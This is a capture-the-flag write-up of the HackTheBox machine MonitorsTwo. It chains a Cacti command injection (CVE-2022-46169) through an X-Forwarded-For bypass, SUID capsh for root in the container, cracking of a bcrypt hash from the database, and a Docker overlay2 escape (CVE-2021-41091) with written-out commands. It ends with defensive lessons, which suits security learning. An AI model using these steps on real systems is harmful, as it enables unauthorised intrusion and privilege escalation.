Skip to content

MonitorsTwo

Box Info

Platform: HackTheBox, OS: Linux (Ubuntu 20.04 host, Debian container), Difficulty: Easy, Released: 2023-04-22, IP: 10.10.11.211 , monitorstwo.htb

Attack Path

  1. The site is Cacti 1.2.22. remote_agent.php is vulnerable to CVE-2022-46169, an unauthenticated command injection, and it lands a shell as www-data inside a Docker container.
  2. In-container privesc: /sbin/capsh is SUID, so capsh --gid=0 --uid=0 -- gives a root shell in the container (GTFOBins).
  3. entrypoint.sh and include/config.php hold MySQL root:root. Dump user_auth, crack marcus’s bcrypt hash, and SSH to the host as marcus.
  4. /var/mail/marcus spells out CVE-2021-41091 (Moby data-dir permissions). Make /bin/bash SUID inside the container, then execute that binary from the host through /var/lib/docker/overlay2/<id>/merged/ to get root on the host.

Credentials and Flags

WhereValue
Cacti / MySQL (entrypoint.sh, config.php)root : root
marcus (cracked bcrypt from user_auth)funkymonkey
user.txt/home/marcus/user.txt
root.txt/root/root.txt

Overview

MonitorsTwo is the sequel to Monitors, and going in I already expected it to follow the same 2023-easy-box formula: a guided tour through a public CVE chain with a container sitting in the middle of it. It didn’t disappoint, and there were three things I made a point of actually internalizing rather than just executing on autopilot. First, CVE-2022-46169 turned out to be a great example of an authorization bypass and a command injection working together rather than as two separate bugs: the remote_agent.php endpoint is supposed to be locked down to trusted poller hosts, but the check that enforces that trusts a fully spoofable X-Forwarded-For header, and once I got past that gate, the poller_id parameter flowed straight into a shell command. Second, the box forced me to actually notice I’d landed inside a container rather than on the host itself. Things like /.dockerenv, an overlay root mount, and a visibly reduced capability set were all tells, and picking the right escape technique depended on recognizing that context first. Third, the jump from container-root to host-root came down to CVE-2021-41091, where Docker left the overlay2 data directories world-traversable, meaning a SUID binary I planted inside the container was directly executable by my unprivileged host user through the merged filesystem path.

I’ve run into this same family of issues on several other boxes, which is worth noting for anyone building intuition across a range of targets rather than memorizing one machine at a time. On the Cacti side, Monitored pairs SNMP with a different Cacti CVE, and Cactus hits Cacti again from another angle. On the container-escape side, Analytics leaks its way out through environment variables, and Jupiter does something similar. And for “crack a hash pulled straight from the application’s own database,” I’d point to Cat and Bizness as close cousins of what I did here with user_auth.


Full Walkthrough

Nmap scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti

(A full -p- scan also lists dozens of filtered ports, which is just the lab firewall tarpitting. Ignore them.)

Pasted image 20240217175303

The screenshot confirmed what the nmap output already hinted at: this was a cacti login page, and the footer conveniently gave me the exact version, 1.2.22, without any further guesswork. Before committing to that as my only avenue, I ran a vhost sweep with ffuf just to rule out anything hiding on a subdomain, since I’ve been burned before by tunnel-visioning on the obvious target. That sweep came back as pure noise, every Host: value answered with the same zero-byte body, which told me there was nothing to find there and I could focus entirely on the Cacti instance itself.

ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -c \
  -u http://monitorstwo.htb -H "Host: FUZZ.monitorstwo.htb" --mc all --fs 13844

CVE-2022-46169, Cacti unauthenticated command injection

Cacti 1.2.22 ships remote_agent.php, an endpoint meant only for remote data collectors. Its authorisation check resolves the client hostname from X-Forwarded-For and compares it to the poller entries, so setting X-Forwarded-For: <a known poller host or the server's own name> passes the check without credentials. Past that, the poller_id parameter is concatenated into a proc_open() call in the SNMP options path, so a value like ;id; or a full bash -c payload executes as www-data. Public PoCs (for example the one by ptrpudel or the Metasploit module linux/http/cacti_unauthenticated_cmd_injection) automate both halves.

I see that this version of cacti is vulnerable to CVE-2022-46169. We get a shell after exploiting it.

The shell is inside a container. / has /.dockerenv and /entrypoint.sh:

#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if **! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices"**; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    ...
fi
chown www-data:www-data -R /var/www/html
exec "$@"

MySQL is root:root on the db container (same creds in include/config.php).

Container root with SUID capsh

we need to escape the docker container. To get root in the container, GTFOBins capsh:

www-data@50bca5e748b0:/$ ls -l /sbin/capsh
-rwsr-xr-x 1 root root ... /sbin/capsh
www-data@50bca5e748b0:/$ /sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/#

Why SUID capsh is instant root

capsh is a capability-shell wrapper. With the SUID bit set it starts as root, and --gid=0 --uid=0 -- tells it to drop to uid/gid 0 (that is, stay root) and then exec an interactive shell. No exploit, just a misconfigured setuid binary. Same idea as SUID bash, find, nmap, vim. Always run find / -perm -4000 -type f 2>/dev/null early.

Loot the database, crack marcus, SSH to the host

mysql --host=db --user=root --password=root cacti -e "SELECT username,password FROM user_auth"
| id | username | password                                                     |
| 1  | admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| 3  | guest    | 43e9a4ab75570f5b                                             |
| 4  | marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
hashcat -m 3200 marcus.hash /usr/share/wordlists/rockyou.txt

$2y$ is bcrypt, mode 3200. marcus cracks to funkymonkey. That password is reused for the host account:

ssh marcus@monitorstwo.htb        # funkymonkey

Pasted image 20240217184021

user.txt is here. Now enumerate the host.

Privilege Escalation, CVE-2021-41091 (Docker overlay)

/var/mail/marcus is a security bulletin that all but names the exploit:

CVE-2021-41091: This vulnerability affects Moby ... Attackers could exploit this
vulnerability by traversing directory contents and executing programs on the data
directory with insufficiently restricted permissions. Fixed in Moby 20.10.9.
Running containers should be stopped and restarted for the permissions to be fixed.

CVE-2021-41091, exploiting the overlay2 directory

Before Moby 20.10.9, /var/lib/docker/overlay2/ and the per-container merged/ directories were left o+rx, so any user on the host could cd into a running container’s filesystem. If you are root inside the container you can create a SUID root binary there; that same inode is visible from the host at /var/lib/docker/overlay2/<hash>/merged/... and, being SUID root and owned by real root, it grants root when a normal host user runs it.

Steps:

  1. In the container root shell: chmod u+s /bin/bash
  2. On the host as marcus, find the writable upperdir. mount | grep overlay (from the container’s earlier linpeas output) shows the upperdir=/var/lib/docker/overlay2/<hash>/diff. Iterate the candidates:
for d in /var/lib/docker/overlay2/*/diff/bin/bash; do
  ls -l "$d" 2>/dev/null | grep -- '-rwsr'
done
"$d" -p        # the SUID bash -> euid 0 on the host
id             # uid=1000(marcus) euid=0(root)
cat /root/root.txt
root@50bca5e748b0:/# chmod u+s /bin/bash

Pasted image 20240217191900

From the host, execute that SUID bash -p through the container’s diff (or merged) directory and you are root.


Loot

FlagLocation
user.txt/home/marcus/user.txt
root.txt/root/root.txt

Lessons and Takeaways

  • Patch Cacti. CVE-2022-46169 is unauthenticated RCE and was widely scanned within days.
  • Do not trust X-Forwarded-For for authorisation. Ever. It is fully attacker controlled.
  • Audit SUID binaries in container images. capsh, mount, bash, find with the setuid bit turn a low-priv container shell into container root.
  • Keep Docker / Moby current. The overlay permissions bug means container root can become host root on an unpatched engine, and restarting containers after upgrade is required to actually fix perms.
  • Unique service credentials. Cacti admin, MySQL root, and the marcus Linux account should not share a wordlist-crackable password.
  • bcrypt is slow on purpose. funkymonkey only fell because it is in rockyou; a random password here would have stopped the chain.

Related Writeups

References